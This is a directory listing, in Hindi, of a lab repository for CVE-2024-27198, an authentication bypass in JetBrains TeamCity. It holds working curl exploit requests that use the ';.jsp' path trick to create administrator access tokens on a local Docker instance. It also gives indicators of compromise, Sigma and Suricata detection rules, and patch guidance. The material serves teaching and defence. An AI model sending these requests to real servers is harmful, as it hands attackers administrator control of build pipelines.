Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-27198_Lab — Lab for the CVE-2024-27198 | Kitploit
उपकरण/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationIncident ResponseLog AnalysisLabs & Practice
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Lab for the CVE-2024-27198

रिपॉजिटरी देखें

CVE-2024-27198 प्रयोगशाला

विवरण

TeamCity टोकन प्रबंधन के लिए एक केवल-व्यवस्थापक पृष्ठ प्रदान करता है जो प्रमाणीकरण द्वारा संरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को व्यवस्थापक उपयोगकर्ता के लिए एक एक्सेस टोकन उत्पन्न करने की अनुमति देता है यदि वे किसी मौजूदा उपयोगकर्ता की आईडी ढूंढ सकते हैं।


CVE विवरण

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • मूल स्कोर: 9.8 गंभीर
  • वेक्टर:
    • CVSS:3.1
    • AV:N नेटवर्क
    • AC:L निम्न
    • PR:N कोई नहीं
    • UI:N कोई नहीं
    • S:U अपरिवर्तित
    • C:H उच्च
    • I:H उच्च
    • A:H उच्च

खतरा खुफिया और OSINT

वास्तविक-दुनिया प्रभाव और शोषण

  • CISA KEV कैटलॉग: 7 मार्च 2024 को जोड़ा गया, जंगल में सक्रिय शोषण की पुष्टि करता है।
  • खतरा अभिनेता: कई रैनसमवेयर समूहों और एपीटी द्वारा शोषित, विशेष रूप से BianLian रैनसमवेयर समूह और Jasmin रैनसमवेयर वेरिएंट। हमलावरों ने इस बाईपास का उपयोग दुष्ट व्यवस्थापक खाते बनाने, दुर्भावनापूर्ण प्लगइन्स परिनियोजित करने, और पीड़ित नेटवर्क के भीतर पार्श्व रूप से स्थानांतरित होने के लिए मनमाना कोड (RCE) निष्पादित करने के लिए किया।
  • लक्ष्य प्रोफ़ाइल: CI/CD पाइपलाइन उच्च-मूल्य लक्ष्य हैं (आपूर्ति श्रृंखला हमले)। TeamCity से समझौता करने से हमलावरों को सॉफ़्टवेयर बिल्ड में दुर्भावनापूर्ण कोड इंजेक्ट करने, स्रोत कोड चुराने, और परिनियोजन रहस्य (AWS कुंजियाँ, प्रमाणपत्र) निकालने की अनुमति मिलती है।

यह CVE क्यों गंभीर है

भेद्यता REST API रूटिंग तंत्र में निहित है। एक अप्रमाणित एंडपॉइंट में विशिष्ट वर्ण (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को सुरक्षा फ़िल्टर को बायपास करते हुए अनुरोध को एक प्रमाणित एंडपॉइंट पर रूट करने के लिए धोखा दे सकते हैं। इसके लिए शून्य पूर्व ज्ञान या पहुंच की आवश्यकता होती है, जो इसे शुद्ध 9.8 CVSS बनाता है।


पुनरुत्पादन के चरण

कंटेनर प्रारंभ करें

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

कमजोर TeamCity इंस्टेंस तक पहुंचें http://localhost:8111. पैच किए गए TeamCity इंस्टेंस तक पहुंचें http://localhost:8112.


लॉगिन पोर्टल

उपयोगकर्ता नाम:

root@kitploit:~
admin

पासवर्ड:

root@kitploit:~
admin

भेद्यता का परीक्षण करें

प्रमाणीकरण के बिना संसाधन के लिए GET अनुरोध:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

दोनों को 401 स्थिति कोड के साथ त्रुटि लौटानी चाहिए।


व्यवस्थापक उपयोगकर्ता के लिए टोकन उत्पन्न करें

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

इसे इस प्रकार एक टोकन लौटाना चाहिए (टोकन हर बार अलग होता है):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

इसे 401 स्थिति कोड के साथ त्रुटि लौटानी चाहिए क्योंकि पैच किए गए इंस्टेंस में भेद्यता नहीं है।


टोकन सत्यापित करें

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

उपयोगकर्ताओं की सूची लौटानी चाहिए।


टोकन हटाएं

  1. व्यवस्थापक खाते से http://localhost:8111 पर जाएं।
  2. शीर्ष दाएं पर प्रोफ़ाइल आइकन पर क्लिक करें।
  3. प्रोफ़ाइल -> एक्सेस टोकन पर जाएं।
  4. आपको "REDTEAM" टोकन दिखाई देगा।
  5. बस टोकन के आगे Delete पर क्लिक करें।

ब्लू टीम: लॉग में IoCs की खोज (स्टील्थ फैक्टर)

प्रयोगशाला में प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम खोज दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह भेद्यता अविश्वसनीय रूप से गुप्त है!

  1. TeamCity Docker इमेज में डिफ़ॉल्ट रूप से Tomcat एक्सेस लॉग अक्षम होते हैं, इसलिए ;.jsp HTTP अनुरोध लॉग नहीं होते हैं।
  2. TeamCity ऑडिट लॉग REST API के माध्यम से टोकन निर्माण को लॉग नहीं करता है।

तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान साफ करता है! जब हमलावर छिपने के लिए अपना दुष्ट टोकन हटाता है, TeamCity उसे लॉग करता है।

ऑडिट लॉग में हमलावर को अपने निशान छिपाते हुए खोजें:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(आप एक लॉग प्रविष्टि देखेंगे जो दर्शाती है कि "REDTEAM" टोकन हटा दिया गया था)।


कंटेनर बंद करें

root@kitploit:~
docker compose -f docker-compose.yml down

शमन और पता लगाना

तकनीकी विश्लेषण (CWE-288)

यह भेद्यता CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बाईपास का एक उदाहरण है। दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम समस्या से उपजा है। ;.jsp जोड़कर और jsp= पैरामीटर में लक्ष्य REST API एंडपॉइंट पास करके, प्रारंभिक सुरक्षा फ़िल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जो अनुमत है) के लिए एक अप्रमाणित अनुरोध के रूप में व्याख्या करता है। हालांकि, आंतरिक राउटर ;.jsp को हटा देता है और प्रमाणीकरण फ़िल्टर को लागू किए बिना अनुरोध को प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित करता है।

वैध उपयोग मामला (; की अनुमति क्यों है?): Tomcat मैट्रिक्स पैरामीटर के लिए अर्धविराम वर्ण (;) का उपयोग करता है। ऐतिहासिक रूप से, इस तंत्र का उपयोग पथ के भीतर सीधे पैरामीटर पास करने के लिए किया जाता है, जैसे कुकी अक्षम होने पर उपयोगकर्ता सत्र स्थिति बनाए रखने के लिए JSESSIONID जोड़ना। यह सामान्य, वैध वेब सर्वर व्यवहार, TeamCity एप्लिकेशन राउटर द्वारा अनुचित सत्यापन के साथ मिलकर, भेद्यता पैदा करता है।

समझौता संकेतक (IoCs)

चल रहे या पिछले समझौते का पता लगाने के लिए, ब्लू टीमों को देखना चाहिए:

  1. वेब लॉग: HTTP अनुरोध जो /app/rest/ एंडपॉइंट को लक्षित करते हैं लेकिन URI में विसंगतिपूर्ण ;.jsp स्ट्रिंग होती है।
  2. ऑडिट लॉग (teamcity-server.log): एक्सेस टोकन की अस्पष्टीकृत पीढ़ी या नए प्रशासनिक खातों का निर्माण।
  3. सिस्टम स्तर: अज्ञात या संदिग्ध प्लगइन्स की स्थापना (अक्सर हमलावरों द्वारा विशेषाधिकार बढ़ाने और रिमोट कोड निष्पादन प्राप्त करने के लिए उपयोग किया जाता है)।

लॉग डिटेक्शन (सिग्मा नियम)

क्योंकि प्रारंभिक शोषण डिफ़ॉल्ट रूप से गुप्त है, ब्लू टीमों को हमलावर की शोषण के बाद की कार्रवाइयों, जैसे कि उनके निशान छिपाने, का पता लगाने पर निर्भर रहना चाहिए। यहां आपके SIEM के लिए संदिग्ध टोकन हटाने का पता लगाने के लिए एक सिग्मा नियम है:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM लाइव डेमो (ब्लू टीम)

यह साबित करने के लिए कि यह पता लगाना काम करता है, siem_simulator.py स्क्रिप्ट चलाएं।

  1. अपने शोषण टर्मिनल के साथ एक दूसरा टर्मिनल खोलें।
  2. सुनिश्चित करें कि कमजोर कंटेनर चल रहा है (docker compose up -d)।
  3. सिम्युलेटर चलाएं:
root@kitploit:~
python3 siem_simulator.py
  1. पहले टर्मिनल में, शोषण चलाएं, टोकन सत्यापित करें, और फिर वेब इंटरफ़ेस के माध्यम से टोकन हटाएं।
  2. दूसरे टर्मिनल को लाल महत्वपूर्ण चेतावनी के साथ चमकते हुए देखें जो सिग्मा नियम को हमलावर को उनके निशान छिपाते हुए पकड़ते हुए दिखाता है!

उपचार

  • आधिकारिक पैच: TeamCity को संस्करण 2023.11.4 या उच्चतर में अपग्रेड करें, जो बैकएंड पर उचित रूप से सैनिटाइज़ और रूट मैचिंग लागू करता है।
  • वर्कअराउंड: यदि पैचिंग असंभव है, JetBrains ने एक सुरक्षा पैच प्लगइन जारी किया है जिसे कमजोर इंस्टेंस पर स्थापित किया जा सकता है।

नेटवर्क डिटेक्शन (सुरिकाटा / स्नोर्ट नियम)

नेटवर्क पर इस शोषण प्रयास का पता लगाने के लिए, एक SOC निम्नलिखित IDS नियम लागू कर सकता है, जो REST API पथों के साथ संयुक्त विसंगतिपूर्ण ;.jsp पैटर्न की तलाश करता है:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

पैच किए गए संस्करण का परीक्षण करें (प्रयोगशाला प्रदर्शन)

यह साबित करने के लिए कि शमन काम करता है, आप पोर्ट 8112 पर चल रहे पैच किए गए TeamCity कंटेनर के खिलाफ बिल्कुल वही शोषण पेलोड लॉन्च कर सकते हैं:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

क्योंकि पैच सख्ती से रूट मैचिंग लागू करता है और मैट्रिक्स पैरामीटर को उचित रूप से सैनिटाइज़ करता है, बाईपास विफल हो जाएगा। आपको उत्पन्न टोकन के बजाय 401 अनधिकृत या 404 नहीं मिला प्रतिक्रिया देखनी चाहिए।


लिंक

  • CVE-2024-27198
टूल डाउनलोड करें